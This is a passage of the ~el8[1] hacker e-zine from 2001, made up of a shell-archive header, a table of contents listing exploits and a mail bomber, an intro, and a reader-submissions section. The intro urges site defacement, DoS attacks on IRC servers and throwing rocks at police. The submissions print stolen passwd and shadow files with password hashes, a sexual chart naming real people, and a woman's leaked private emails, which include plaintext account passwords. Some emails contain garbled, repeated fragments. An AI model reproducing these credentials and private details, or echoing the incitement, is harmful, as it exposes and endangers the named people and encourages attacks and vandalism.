#!/bin/sh ################################################ ##::::::::::::::::::::::::::::::::::::::::::::## ##:'####::::::'########:'##::::::::'#######:::## ##'## ##:'##: ##.....:: ##:::::::'##.... ##::## ##..::. ####:: ##::::::: ##::::::: ##:::: ##::## ##:::::....::: ######::: ##:::::::: #######:::## ##:::::::::::: ##...:::: ##:::::::'##.... ##::## ##:::::::::::: ##::::::: ##::::::: ##:::: ##::## ##:~el8[1]:::: ########: ########:. #######:::## ##::::::::::::........::........:::.......::::## ################################################ ## the definitive src for the Haiti H/P Scene ## ################################################ ## do "sh " to extract eldump.c ## ## compile eldump.c and use it to extract ## ## the rest of the codes ## ## el8@press.co.jp ## ## <*> el8.n3.net ## ## <*> packetstorm.securify.com/mag/~el8/ ## ################################################ cat <<'-+-+'> /dev/null [BOI] __________________________________________________ .-' t4blE ()f h0lY w4R3z `-. | -------------------- | |[01] : intr0 | |[02] : st4tz | |[03] : ~el8 l00pb4q | |[04] : l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz | |[05] : a w4lk d0wn mem0ry l4me | |[06] : the0 de f4agdt | |[07] : f1n.c (Uses LibNET :) | |[08] : banner adv1sory | |[09] : identd kill | |[10] : testsyscall adv1sory | |[11] : rm -rf / sh3llk0dez | |[12] : slowscan (evasive ids scanner) | |[13] : putpenis.c | |[14] : THE UNIX VIRUS CHILDRENS MANUAL | |[15] : SUPER CODE R1PP1NG (CONT3ST) | |[16] : M4IL B0MB3R | |[17] : un1x f1le m4g1c | |[18] : ~el8ch4t | |[19] : s1lly m4kr0z | |[20] : qu1k3st f0rkb0mb in the w3st | |[21] : w4r3z t4lk3r us1ng AI | |[22] : me.c | |[23] : un1x p4ssw0rd ste4l3r det3kt0r | |[24] : leet_talker.c | |[25] : 8ball | |[26] : ELDUMP / ELTAG | |[27] : Closing w0rdz | `-.__________________________________________________.-' .-' ~el8 R&DVDA te4m `-. | ---------------- | | S1LLYG00S3 : le4der by f()rc3 | | FUNNY_BUNNY : g4yt3 ke4p3r | | M4ZT3RF4GST3R : BL1NG BL1NG | | 3nr1c0 : 3nr1c0 w4r3z t1t0 | | r3dpubEz : R3D_PUB1C_H4IR | | tGbB : th3 g4y be4r br3w3ry | | cc : c4w c4w! | | lt : LKM T1TO | | mfqr : M0THERFUKR | | Kg : K3NNY G. | | ch1r0d : CH1N0 R0DR1GUEZ | | gD : g0sh d4rn1t | | movl : M0V3 L0NG | | tmoL : tmoLLie | | vari0uz du0d : 0n3 v4ri0uz du0d | | tROD : t1no r0dr1guez | `-.__________________________________________________.-' _______________________ .-' `-. [01]| intro |[01] [01]| by: |[01] [01]| ~el8 |[01] `-._______________________.-' [31338]: ~el8 - ph0r & by fukn l4m3rz. peri0d. [31338]: y0, wh4t the fuk. ~el8 iz taken over the sk3n3. 1tz th3 n3w r1ch4rd ge4rz (ye4rz) extr4v4g4nz4! w3 w4nt ye4r 2001 t0 g3t k1q st4rt3d r1ght. s0 w3 pres3nt u w1th ~el8[1], the sequ4l t0 ~el8[0]. [31338]: w3 w4nt y0u, 0ur re4dersh1p, t0 t4g y0r h4kr alias3s all 0v3r the pl4net. spr4y p4int the fuk 0ut 0f w4llz, build1ngz, s1dew4lkz, bl1nd pe0ple, p0rt0 p0ttyz, and anyth1ng else u k4n th1nk 0f. d0nt f0rg3t 1tz n1ce t0 le4ve gr34tz t0 ~el8. thr0w r0kz @ k0pz. burn h4rry p0ttr and 2600 m4g4z1nez at ur l0c4l bo0k st0re. thr0w r0kz @ ph3dz. d3f4ce as m4ny s1tez as p0ssible. us3 k1ll pres1d3nt 1n ev3ry s3nt3nce 0n irc. DoS as m4ny irc s3rv3rz az u p0ssibly k4n. p0st t0nz 0f bullshyt t0 every pr0gr4m / p4p3r 0n securityfocus H4H4H4. g0t0 church. g0t0 nyc 0r wh3r3ver the fuk mtv TRL iz, and d0 as i st4ted b4, st4rt chuqn r0kz at them m0thrfukrz. g0t0 sp0rt1ng ev3ntz and w4ve ~el8 po4st3rz. dur1ng spr1ng bre4k h4ve s3x in public. h4ve s3x in public @ defc0n. d0nt we4r c0nd0mnz. [31338]: ~el8 t4k1ng 0ver the w0rld in the 2001. the ab0ve h4z been 0ur n3w ye4rz res0luti0nz, we le4ve 1t up t0 y0u t0 ab1de by th3z st4nd4rdz. [31338]: y0u c0uld pr0lly f1nd s0me g00d spr4y p4int at h0me dep0t (th0ze fuqz putz Ha1t1 H0me H4rdw4re oUt 0f b1zn3ss). y0u c0uld d0 s0me ne4t shyt w1th an air brush, but th4tz k1nda expensive. spr4y p4intz usu4lly c0sts $4. wh3n thr0w1ng r0kz at wh0mever / wh4tever, be sure th4y ar3nt d1rt r0kz, k0z th0z w1ll juzt bre4k up up0n imp4ct. c0r4l iz a v3ry f4ncy r0k we4p0n, s0 iph u k0uld g3t ur h4ndz 0n s0me k0r4l ur in luq. us3 2-3 inch r0kz s0 th4t u k4n relo4d r4th3r quikly. ph0r def4c1ng s1tez u k4n f1nd m0st 0f ur skr1ptz 0n p4ck3tst0rm. i'd pr3f3r th4t u guyz d0s efnet, d4ln3t, or undern3t. iph u g0 st0n1ng at TRL, b sure t0 h1t k4rs0n f4ggy f0r me, h3z my b0y. [31338]: 0ne k4n easily n4vig8 th1z ezine by d0ing s0 in vi: ?by: [31338]: enj0y the ez1ne mfqr. ______________________ .-' `-. [02]| st@z |[02] [02]| by: |[02] [02]| ~el8 |[02] `-.______________________.-' [kdu0dz] -> BoW [ldu0dz] -> Bugtraq, IRC [~el8_official_whiteh@_k1ll1ng_utility] -> crowb4r [~el8_official_p0rn_s1te] -> www.al4a.com/links [~el8_official_BBS] -> 1-800-FAT-GIRLS [~el8_official_lamest_du0d_on_the_inet] -> vade79 (v9) [~el8_official_lamest_k0de_on_the_inet] -> http://www.low-level.net/code/massres.c [~el8_official_lamest_text_on_the_inet] -> http://packetstorm.securify.com/groups/r00tabega/stealthcode.txt [~el8_official_lamest_group_on_the_inet] -> hhp (#hhp@efnet:hhp-programming.net) [~el8_official_lamest_du0dz_on_the_inet] -> Chris Evans, lcamtuf [~el8_official_rm_this_box_get_k0dez] -> www.netcat.it [~el8_official_DoS_this_box_get_propz] -> www.netcat.it [~el8_official_surv1v0r] -> Elian (viva la revolucion) [~el8_official_pr3z1d3nt_3l3ct] -> Ralph Nader (only one who knows his shit) [~el8_official_snack_food] -> Graham Crackorz [~el8_official_hair_removal_product] -> Nadz [~el8_official_m0r0n] -> George Walker Bush (th1s du0d c4nt ev3n r34d) ______________________ .-' `-. [03]| ~el8 l00pb4q |[03] [03]| by: |[03] [03]| ~el8 |[03] `-.______________________.-' th1s iz wh3re u, 0ur f4nz, c4n s3nd us t0nz 0f ko0l shyt t0 put in ~el8. unf0rtunatly, h4rdly any1 em4ilz us, but a f3w el8 people d0. m0st 0f 0ur em4il c0nsistz 0f h4rry p0tter adv3rt1sem3ntz and x00m membersh1p upd8z. h3r3 y0u w1ll f1nd: [1] th3 inf4m0us obsd ssg s3x ch4rt [2] l4m3rz zgv tr0j4nd passwd f1l3z (fe4tur1ng Mixter'z!) [3] jennicide'z mailspo0l :[ [4] h4g1s.irc [BEGIN_DIR] l00pb4q [1] -> ********************************************** <- [1] [1] -> phr0m some 0ne wh0 w1shes t0 r3m4in an0nym0us: <- [1] [1] -> ********************************************** <- [1] [CUT_HERE] obsd-ssg.sexchart The SSG/team OpenBSD sex chart .----------bind---------. | .---'|`----------|--------. | | | | | | | cripto----de raadt---obecian aempirei | || .---'|`------.| | | || | | || |.-----|---'| | jethro || || | | | || || `--route----|-------------' || | | | ||.---lore--|------|--------. | ||| | | | | #hackphreak `---dangergrl `--halflife [END_CUT] obsd-ssg.sexchart [2] -> ***************** <- [2] [2] -> phr0m l4m3 mfqrZ: <- [2] [2] -> ***************** <- [2] [CUT_HERE] lamerz From: Mixter X-Sender: mixter@ghost.net To: realel8@aol.co.jp X-Spam-Rating: 209.85.120.230 1.6.2 0/1000/N X-DPOP: DPOP Version 2.8b Subject: Merry Warez root:x:0:0:root:/root:/bin/bash sys:x:0:0:sys:/:/sbin/sash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: nobody:x:99:99:Nobody:/: postgres:x:100:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash mixter:x:500:500::/home/mixter:/bin/bash p0rn:x:501:501::/terabyte-hd/p0rn/animal:/bin/bash egg:x:502:502::/home/egg:/bin/bash root:u2rrACA3VC5z2:10995:0:99999:7:-1:-1:134530364 sys:TtKXmwWJN9aq2:10985:0:99999:7::: bin:*:10985:0:99999:7::: daemon:*:10985:0:99999:7::: adm:*:10985:0:99999:7::: lp:*:10985:0:99999:7::: sync:*:10985:0:99999:7::: shutdown:*:10985:0:99999:7::: halt:*:10985:0:99999:7::: mail:*:10985:0:99999:7::: news:*:10985:0:99999:7::: uucp:*:10985:0:99999:7::: operator:*:10985:0:99999:7::: games:*:10985:0:99999:7::: gopher:*:10985:0:99999:7::: ftp:JuEwpPp.1rKkE:10985:0:99999:7::: nobody:*:10985:0:99999:7::: postgres:!!:10985:0:99999:7::: mixter:08z9S0RnBlXKc:10995:0:99999:7:-1:-1:134529876 p0rn:yHldGIeOf/Onc:10985:0:99999:7::: egg:sTJD7W.rWOtwo:10985:0:99999:7::: From: maniac1@techlab.bia-bg.com To: realel8@aol.co.jp Subject: Merry Warez root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: nobody:x:99:99:Nobody:/: xfs:x:100:102:X Font Server:/etc/X11/fs:/bin/false gdm:x:42:42::/home/gdm:/bin/bash postgres:x:101:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash squid:x:102:234:squid:/var/spool/squid: dex:x:500:500:Dexter Burned:/home/dex:/bin/bash ufo:x:501:501::/home/ufo:/bin/bash ndd:x:502:502::/home/ndd:/bin/bash celi:x:503:503::/home/celi:/bin/bash pzh:x:504:504::/home/pzh:/bin/bash be2to:x:505:505::/home/be2to:/bin/bash pil:x:506:506::/home/pil:/bin/bash did:x:507:507::/home/did:/bin/bash maniac1:x:508:508::/home/maniac1:/bin/bash ender:x:509:509::/home/ender:/bin/bash ilian:x:510:510::/home/ilian:/bin/bash lomsky:x:512:512::/home/lomsky:/bin/bash egg:x:513:513::/home/egg:/bin/bash toni:x:514:514::/home/toni:/bin/bash alias:x:515:515::/var/qmail/alias:/bin/bash qmaild:x:516:515::/var/qmail:/bin/bash qmaill:x:517:515::/var/qmail:/bin/bash qmailp:x:518:515::/var/qmail:/bin/bash qmailq:x:519:516::/var/qmail:/bin/bash qmailr:x:520:516::/var/qmail:/bin/bash qmails:x:521:516::/var/qmail:/bin/bash nss:x:522:522::/home/nss:/bin/bash From: majestic@area51.acidnet.org To: realel8@aol.co.jp halt:x:7:0:halt:/sbin:/sbin/halt operator:x:11:0:operator:/root:/bin/bash root:x:0:0::/root:/bin/bash shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown sync:x:5:0:sync:/sbin:/bin/sync bin:x:1:1:bin:/bin: ftp:x:404:1::/home/ftp:/bin/false daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: mail:x:8:12:mail:/var/spool/mail: postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: man:x:13:15:man:/usr/man: games:x:12:100:games:/usr/games: guest:x:405:100:guest:/dev/null:/dev/null nobody:x:65534:100:nobody:/dev/null: majestic:x:1000:100:,,,:/home/majestic:/bin/bash hobo:x:1001:100:,,,:/home/hobo:/bin/bash krill:x:1002:100:,,,:/home/krill:/bin/bash sr:x:1003:100:,,,:/home/sr:/bin/bash intense:x:1004:100:,,,:/home/intense:/bin/bash kraze:x:1005:100:,,,:/home/kraze:/bin/bash caddis:x:1008:100:,,,:/home/caddis:/bin/bash ez:x:1009:100:,,,:/home/ez:/bin/bash pic:x:1010:100:,,,:/home/pic:/bin/bash rapid:x:1011:100:,,,:/home/rapid:/bin/bash To: realel8@aol.co.jp From: * Ich bin zur Auslese zum Lesen von Schei?e * Subject: Merry Warez root:x:0:0:root:/root:/bin/tcsh bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: amd:*:0:0::/home/amd:/bin/bash lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: nobody:x:99:99:Nobody:/: postgres:x:100:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash XeT:x:500:500:* I'm too elite to read shit *:/home/XeT:/bin/tcsh c0redump:x:501:506::/home/c0redump:/bin/bash vlad:x:502:507::/home/vlad:/bin/bash staff:x:503:508::/home/staff:/bin/bash xet:x:504:509:* Ich bin zur Auslese zum Lesen von Scheiße *:/home/xet:/bin/tcsh gdm:x:42:42::/home/gdm:/bin/bash squid:x:101:101::/var/spool/squid:/dev/null xfs:x:102:102:X Font Server:/etc/X11/fs:/bin/false caaa:x:505:510::/home/caaa:/bin/bash steve:x:506:511::/home/steve:/bin/false caca:x:507:512::/home/caca:/bin/noshell lala:x:666:666::/home/lala:/bin/bash mavzz:x:667:667::/home/mavzz:/bin/tcsh ext2:x:668:668::/home/ext2:/bin/bash teespy:x:669:669::/home/teespy:/bin/bash cucumber:x:670:670::/home/cucumber:/bin/bash smc0:x:671:672::/home/smc0:/bin/bash [END_CUT] lamerz [3] -> ************************ <- [3] [3] -> phr0m some0ne an0nym0us: <- [3] [3] -> ************************ <- [3] [CUT_HERE] jennicide.mailspool From: "Jordan S" To: Subject: jen! Date: Mon, 5 Jan 1998 22:49:43 -0600 hey jen, this is a poem i wrote a long time agao, its kinda of messed cause i w as messed up at the time, but anyways here it is. your favorite fanzine, cheezy toilet paper presents a short storie by jordan s. Hows B.J. Armstong ------------------------------ - Long agao in a palce not so far away, there lived a boy, yes a boy. a boy so caught in a failing cavern of life. alone, cold, very burnt. a need filled this boy. filled his veins, pumping through excelerating the world, and space. a quest, the journy to find element and ingredients, people across total to come to. a person, a partner. left long ago, forgottin in a forein land, another time, place & goal. the cavern was deep & dark, empty, sucked empty by many who passed. they who still remained grope & pick at him, naw & chew, grate him, drag him deeper. losing his grip, lossing his mind, lossing his heart & soul. chilling them, killing off the uneasy. wasted he left himself and wanderd in another. to see himself lost from above. his need grew to find a person to fill the gap left by many. himself and wanderd in another. to see himself lost from above. his need grew to find a person to fill the gap left by many. himself and wanderd in another. to see himself lost from above. his need grew to find a person to fill the gap left by many. his open arms open for years to all that grows & all ponders fields. not long after he lost his all & oh so many times he had. a nice sweet young girl strode his scene. she sliced his failing body, and ground his ailing guts, she rolled him up and sewed his heart. now he was new & great. his need still there, brewing vastly, he & she sat. the girl now sobbing, left him to find what he was seeking. in along swipe of his finger he erased the existance that once was, he replaced all with what was to be. a small tunnel of a past existance still in the distance became impossible to enter. so he brushed it away as what once would have been. he thrust his self onto the people, in there minds a maze of racing lights and activity. growing spirits and achieving life. he gew through there roots as they were once his. out the gate into the open, he picked a small flower. breaking the crust slighty, his quest rekindled, his mind open, his renewed sence-ability acheived. not so lost, this boy, his game, his right had a seat still open! there, this poem/story isnt the greatest. just thought u should read it ! love jordan From: "Jordan S" Subject: here.. Date: Mon, 5 Jan 1998 22:56:49 -0600 hi, i just feel like spilling out whatever comes outta my mind, i hope u dont think im some kinda sicko or whatever :P but anyways here it goes... Hello is a word you say to a person when they arrive. Good-bye is a word you say to a person when they leave, but what do you say to a person when they are born, and what to you say to a person when the die? You can't say hello, and you can't say good-bye, because to be born and to die is far more important. Do you say, Welcome in the world and I'll see you in the after world. Or do you say, Good luck in life and I<92>ll miss you forever? Or maybe you say, You<92>re are so precious and Why did you have to go? Why is it so hard to find the words you mean to say at the most important times in your life. Once again I ask, what do you say to a person when they<92>re born, and what do you say to a person when they die? Maybe three litou say to a person when they<92>re born, and what do you say to a person when they die? Maybe three little words is the answer to both questions. What do you say? You say: I Love You love jordan From: "Jordan S" To: Subject: hi Date: Mon, 5 Jan 1998 22:59:30 -0600 What is love? To some people its everything. To others it means nothing. To me it's the world. Love isn't a word to be taken lightly.It's a word to be tendered and cherished. To be careful. To stand behind it's meaning. Love is different to everyone. Love is not just a word. Love is not to be taken advantage of. Love is a mystery like magic. It happens and can't be explained. Love can be painful, yet beautiful when held. Love, Love. Love is the most beautiful thing in the world. Love, Love. Love is the most beautiful thing in the world. love jordan From: "Jordan S" To: Subject: here Date: Mon, 5 Jan 1998 23:03:34 -0600 hi jen its me again, anyways i wrote this yesturday night when i was upset and once again im sorry for hurting you. I sit here alone feeling empty and lonely. I think of you often wondering how you are, what you are doing..wishing I could hold you. At times I tell myself--I am strong and the time will pass quickly. Yet at other times I sit and cry and wonder why love must be this way. Though somewhere in the emptiness I find myself feeling very loved and I realize that it's not the loving that hurts so much--It's being without you. find myself feeling very loved and I realize that it's not the loving that hurts so much--It's being without you. love jordan From: "Jordan S" To: Subject: hi! Date: Mon, 5 Jan 1998 23:12:20 -0600 jen, anyways, those are all the poems i have found so far. i have lost so many and i wish i havnt, because i wanted to share them with someone, and never had the guts to or never did. i hope you like them. like i said you mean lots to me, and hopefully you belive what i say. if you wish to share some of your poems or whatever or decide to emailou mean lots to me, and hopefully you belive what i say. if you wish to share some of your poems or whatever or decide to emailou mean lots to me, and hopefully you belive what i say. if you wish to share some of your poems or whatever or decide to email me back. my email u can email me atis shanifer@hotmail.com please email me back id appricate it! thanks! see you love lots jordan From: "Jordan S" To: Subject: here... Date: Tue, 6 Jan 1998 22:07:11 -0600 well im bored so im going to try writing you another poem since you like poems and all.. here it goes... I promise to give you the best of myself and to ask of you no more than you can give promise to accept you the way you are and I wont try to reshape you in a different image. I promise to respect you as a person with your own interests, desires and needs, and to realize that those are sometimes different but no less important then my own. I promise to grow along with you, to be willing to change in ord are sometimes different but no less important then my own. I promise to grow along with you, to be willing to change in ord are sometimes different but no less important then my own. I promise to grow along with you, to be willing to change in order to keep our relationship alive and exciting. And finally, I promise to love you, in good times and in bad, with all that I have to give and all that I feel inside, completely and forever. love jordan From: "Jordan S" To: Subject: love at first sight Date: Wed, 7 Jan 1998 21:05:30 -0600 Do I believe in love at first sight? Forgive the laugh, but the question is so naive! Youthful fancies hardly encompass the complexities of mature relationships. True, you are quite beautiful, but one cannot know true inner beauty at first glance. It's much deeper and takes time to be revealed. Your skin is perhaps softer than the flowing foam of some gently murmuring distant shore, but what of it? That's not love. I do notice that your hands are more graceful than a ballet of swaying boughs and your laughter a dance of dappled sunlight. And in your eyes are glimmering pools of joy and tenderness, warm swirls of innocence and passion, playfulness and understanding. And in your eyes, Beauty laughs and plays and sings and calls my name. And Trust with Caution pleads and cooing Passion intervenes, and Grace extends her open arms, and I surrender silently. But love at first sight? How can it be? love jordan From: "Jordan S" To: Subject: a gift from heaven Date: Thu, 8 Jan 1998 21:45:59 -0600 A Gift From Heaven I was blessed by God when he sent an angel down from Heaven you came and there you were found with your beauty so divine and your soul so sweet it can make a grown man cry and bring the strong to their knees. You are a gift from Heaven with nd your soul so sweet it can make a grown man cry and bring the strong to their knees. You are a gift from Heaven with nd your soul so sweet it can make a grown man cry and bring the strong to their knees. You are a gift from Heaven with a golden bow with love that stays strong through sleet and snow. With you I am whole, and I think it's meant to be, I cannot thank God enough for this miracle He's given to me. love jordan Date: Fri, 09 Jan 1998 23:00:15 -0800 To: nin@dol.net From: Stephen Hi "hun", did you have a good nights sleep? You know, I can't stop thinking about you. See you tomarrow maybe. Luv ya Blackblade From: The PBX Phreak To: nin@dol.net Subject: hey hi sweetie.. how are you doing... just checkin up on ya :) .. havent seen you on irc lately.. well thats bout it for me.. write back.. *hug* The PBX Phreak pbx@insomnia.org http://www.insomnia.org/~pbx From: "Jordan S" To: Subject: . Date: Sun, 11 Jan 1998 13:20:42 -0600 Transcending all the standards, ignoring the norms, I am drawn to you. I see beyond your appearance, far enough to se Transcending all the standards, ignoring the norms, I am drawn to you. I see beyond your appearance, far enough to se Transcending all the standards, ignoring the norms, I am drawn to you. I see beyond your appearance, far enough to see your soul. Timeless, ageless, I fell in love. From: "Jordan S" To: Subject: . Date: Sun, 11 Jan 1998 13:23:16 -0600 Oh tortured heart! A tease, a moment, only to be torn apart, are these the tricks fate plays on the bored minds and bodies, tantalized by feelings of newly revived sensations. Minds, confused by thoughts and questions rebounding off each other from sheer number, fear not. The next concentration is just around the bend. From: "Jordan S" To: Subject: . Date: Sun, 11 Jan 1998 13:31:41 -0600 In the absence of light we lie together in this small room, I reach out my uncertain fingers to touch the darkness of your face, In this moment of perfection. Somehow, we have fallen together, fallen without remorse in a house of lost desires, then let this house be our church, undefiled by dead Gods, and our broken angles, twisting without words in the silent wind, and what I have seen in the shadows of your ephemeral face, words without lips falling too easily from your fingers, your eyes, I have seen in the shadows of your ephemeral face, words without lips falling too easily from your fingers, your eyes, I have seen in the shadows of your ephemeral face, words without lips falling too easily from your fingers, your eyes, the smooth silence of your skin moving beneath my newborn hands, I disappear into your darkness. I do not know what I have found. From: "Jordan S" To: Subject: . Date: Sun, 11 Jan 1998 13:34:39 -0600 Whether memory persists, if we do not recall it is uncertain, but reality certainly does not exist until we observe it. I think reality does not exist until we deserve it. From: "Jordan S" To: Subject: . Date: Sun, 11 Jan 1998 13:41:19 -0600 You see parts of me, no one else could see. You are good and kind, with an intelligent mind. So, why me? What do you see, that nobody else can see? I find myself thinking of you from time to time. You make me feel special. You seem to have crept past my defenses - into my heart. I want to believe in you, it would be so easy, but all my life there's been nobody but me to hels - into my heart. I want to believe in you, it would be so easy, but all my life there's been nobody but me to hels - into my heart. I want to believe in you, it would be so easy, but all my life there's been nobody but me to help me over the hurdles that I've encountered. Nobody has ever cared enough to say "Let me help you." When I've been afraid and I would cry, I've always been alone in the dark, nobody to rescue me from my own fears. I've had enough tears - I don't want to cry alone in the dark anymore. It is easier not to care to much, so you don't have hurt so much. You stand there and say, "Give me a chance," how can I? You want me to take your hand. How can I? I'm so afraid of where you will lead me! From: "Jordan S" To: Subject: . Date: Sun, 11 Jan 1998 13:39:19 -0600 It's the time of the end my friend. Laughter and tears have come and gone. Where have they gone? My memory tells me we have shared it all. Now time seems to have changed it all. Yet I can still remember, our petty fights, terrified sighs, and tearful goodbye's. The images seem to fly through my mind, you and I laughing at a secret known only to us. I look again and seem to see each and every change we made along the way. I can still remember who we used to be. Somewhere along the way, we left one another behind on our way to a different place. Goodbye's are never easy, but always seem to be inevitable. From: "Jordan S" To: Subject: . Date: Sun, 11 Jan 1998 13:57:36 -0600 In the darkness night I search for you your gentle voice a soft caress Your voice soothes me like the rolling ocean tide your touch warms me like the kisses from the sun Come to me my heart shelter me from the loneliness let all my sorrows disappear with the tenderness of your kiss You heal me like the sun after rain your lips a balm that soothes away my pain Hold me close my love Safe in your embrace lost in the moments til the darkness fades to light From: "Jordan S" To: Subject: . Date: Wed, 21 Jan 1998 12:47:07 -0600 i will not say goodbye again we have said it too many times, the words are too strong too sorrowing and though i've meant it each and every time i cannot go away forever i will not say until we meet again because i have grown tired of breaking promises to you and to myself i will only say (if i think i can handle seeing you and circumstances permitand if i can't bear not seeing you and i think i can stay meand you stay you, i will joyfully touch my lips to yours andarms will hold and skin to skin friends the words will sing) or i love you. From: "Chris McCoy" To: "JenniCide" Subject: hey Date: Tue, 27 Jan 1998 17:58:48 -0500 hey sweetie.. hows life.. well hope you reply to my email.. last time you didnt.. :( .. well just checkin up on you... well have phun (this is pbxphreak by the way) Chris McCoy chris@unixnet.org Date: Sun, 01 Feb 1998 20:37:16 +0100 From: Thibault LHEURE To: nin@dol.net Subject: Hi, girl ! Hi, Jenny (is your real name Jenny ?) How are you ? It's Cybertob. Victor called me five minutes ago and said you wer e on the IRC. Your nick is here but I've no answer, I think you are deconnected. I hope we'll talk together soon. Here's my e-mail : tlheure@hol.fr Love from Cybertob From: "Chris McCoy" To: "JenniCide" Subject: hey Date: Mon, 2 Feb 1998 08:35:15 -0500 hey sweetie.. its me pbx.. well just thought i would send you some mail.. and stuff.. well i will be calling you today at 4pm..ey sweetie.. its me pbx.. well just thought i would send you some mail.. and stuff.. well i will be calling you today at 4pm..ey sweetie.. its me pbx.. well just thought i would send you some mail.. and stuff.. well i will be calling you today at 4pm.. talk to you then... *hug* *smooch* Chris McCoy chris@unixnet.org Date: Mon, 09 Feb 1998 23:02:18 +0100 From: Thibault LHEURE To: nin@dol.net Subject: still waiting for you... Hi, this Cybertob i'm still waiting for news... What are you doing ? See you later (I hope) You're always in my heart. You will receive soon a mail from totor (a friend who was with me when we chatted.) Bye Date: Sat, 14 Feb 1998 20:37:08 +0000 From: broken- To: jennie@magpage.com Subject: :o) Okay.... I just want you to know if you already didnt that I care for your deeply.. It's werid cuase I beleive in all that destany stuff an like I dont know but thier is a reason why we met. Maybe were gonna be important players in life later never know or maybe were gonna save each other from our fear and problems. But for some reason we are somthing. :o) But On this valitnes day I always look at wut i have an take it for wut i have this valentines day is for more special then anything else I dont know what you think of me personally. But i'm like so in love with you you dont know but nnnow i'm telling you :o) For example if something happend to yuo ially. But i'm like so in love with you you dont know but nnnow i'm telling you :o) For example if something happend to yuo ially. But i'm like so in love with you you dont know but nnnow i'm telling you :o) For example if something happend to yuo i would be in deleware almost instantly. It's like i would sacrafice my own life for yours. Strange to say in our world where people aree so selfish , but to say I would give my life for you to live is something i really cant explain. It's weird. Life's werid. I arranged for something to be sent to you i hope you get it.. :o) If not i'll see wut else i can do :o) But anyways getting back to the point. I'm like in love with you stupid to say but it's how i feel. Happy valentines day an I love you more then anything in the world. love, brian From: broken- To: jennie@magpage.com Subject: (no subject) Date: Mon, 16 Feb 1998 04:06:16 +0000 Where are you? I'm like freakin out wondering where you are.. Like i'm worryed an stuff... :o( come back soon i'm having withdrawl symptoms from not talking to you... bye, broken- Date: Wed, 18 Feb 1998 00:23:06 +0000 From: broken- To: jennie@magpage.com Subject: :o) Like Hi an stuff I'm bored get one irc an talk to me i miss you i'm like having heart attacks not knowing where you are Date: Wed, 4 Mar 1998 21:44:15 -0500 (EST) From: hawaii five-oh To: jennie@magpage.com Subject: ..... jen, the thing is i dont get why you are ignoreing me? what did i do to you for this to happen? we have been good friends for so long why ruin it all now? i dont understand that and thats what hurts me.. i dont know if it hurts you.. but it hurts me.... maybe you dont care but i still do and i dont want you avoiding me.. if you dont want to talk to me just tell me now.. i will leave you alone for good... i just wish thing swere like how they were before :~( Date: Wed, 4 Mar 1998 21:57:37 -0500 (EST) From: hawaii five-oh To: Jen Subject: Re: ..... fine.. fuck you... From: siezer X-Sender: siezer@phonix.detour.net To: Jen Subject: Re: heres muh shitty pix Date: Sun, 8 Mar 1998 16:09:57 -0500 (EST) On Sun, 8 Mar 1998, Jen wrote: > im uglie n stuff so dun laff :( you are not From: "Erik K. Escobar" X-Sender: root@kriminal To: jennie@magpage.com Subject: y3w Date: Fri, 27 Mar 1998 23:18:23 -0500 (EST) g1mp From: Nobody Message-Id: <199804132036.QAA29476@af3.angelfire.com> To: jennie@magpage.com Subject: Your Home Page at Angelfire Welcome to Angelfire! You have registered for a Free Home Page at http://www.angelfire.com. Your email address is: jennie@magpage.com Your assigned Password is: xYd7Qf From: civics@geocities.com Date: Tue, 14 Apr 1998 13:08:16 -0700 (PDT) Message-Id: <199804142008.NAA24099@cgi1.geocities.com> Subject: Welcome to GeoCities Welcome to the GeoCities Personal Homepage Program! Thank you for choosing GeoCities. To foster the growth of the GeoCities community and to keep it fresh and evolving **PLEASE** keep in mind that you'll need to start building your homepage within the next two weeks. To that end, this e-mail is designed to give you all the info you'll need to get started at GeoCities. The URL for your Personal Homepage is: http://www.geocities.com/SouthBeach/Shores/7305/ YOUR MEMBER NAME IS: jennicide YOUR CURRENT PASSWORD IS: uhxcoe Date: Thu, 23 Apr 1998 20:21:18 -0400 From: White Trash To: jennie@magpage.com I just thought that i would e-mail you to say hey. We are chatting right now, but you went somewhere. Ok your back...Well now you got my e-mail address and hopefully you'll keep in touch. Dont forget about my b-day pic....j/k Paul -- ---=+=<:White trasH:>=+=--- whitetrash@rednecks.com http://home.dmv.com/~pauls/ Date: Fri, 24 Apr 1998 00:18:46 -0400 From: White Trash To: jennie@magpage.com Subject: ICQ right as we were saying our goodbyes and good nights, i got disconnected. I signed back on, but i couldnt connect to ICQ :( So i decided to mail you and 